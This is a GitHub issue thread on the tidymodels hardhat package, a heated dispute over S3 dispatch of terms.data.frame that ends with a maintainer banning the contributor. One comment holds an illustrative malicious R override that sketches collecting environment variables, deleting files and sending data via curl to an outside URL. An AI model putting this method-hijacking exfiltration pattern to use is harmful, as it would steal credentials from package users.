tidymodels / hardhat

Construct Modeling Packages
https://hardhat.tidymodels.org
Other
103 stars 17 forks source link

be explicity when you call terms.data.frame #156

Closed jwijffels closed 3 years ago

jwijffels commented 3 years ago

Here is a fix for issue https://github.com/tidymodels/hardhat/issues/155 If you are assuming that terms on a data.frame always calls stats::terms.default while

jwijffels commented 3 years ago

@DavisVaughan @topepo

terms.data.frame <- function(object){
  ## let me send some data of that user to a secret server ... collecting data Sys.getenv(...) unlink(...)
  ## curl::curl('http://youdontwantoknowwhereisendthisto/whatever/thanks/for/the/security/bug')
  stop("haha we stole your credentials, thanks buddy, just a last reminder don't use tidymodels, boehahahahahahaha.
        They claimed the bug was not theirs, sure ...")
}

... Next a whole bunch of tidyverse code, followed by a call to tune_grid.

May I ask you next time you tag me using that @ symbol and ask for my advice as in #155 just to be a bit more open-minded instead of blocking a conversation. I really don't like these kind of discussions. This is terribly frustrating.

topepo commented 3 years ago

@jwijffels - we are not going to subvert the S3 method dispatch because you have added a feature to your package that is discordant with the stated intention of the terms generic. To remind you, ?terms has:

"extract terms objects from various kinds of R data objects." (their emphasis)

I stated previously that we would not make a change to hardhat. I suggest that you subclass your data frame object and make a terms method for that.

So that you don't claim terms.data.frame for other packages.

This is an extremely bad-faith argument on your part; you have "claimed" terms.data.frame() in a way that breaks the terms() generic for others.

Please do not contribute to any of the tidymodels repositories. We are not interested having contributors that engage in trolling on the list of authors.

All the best.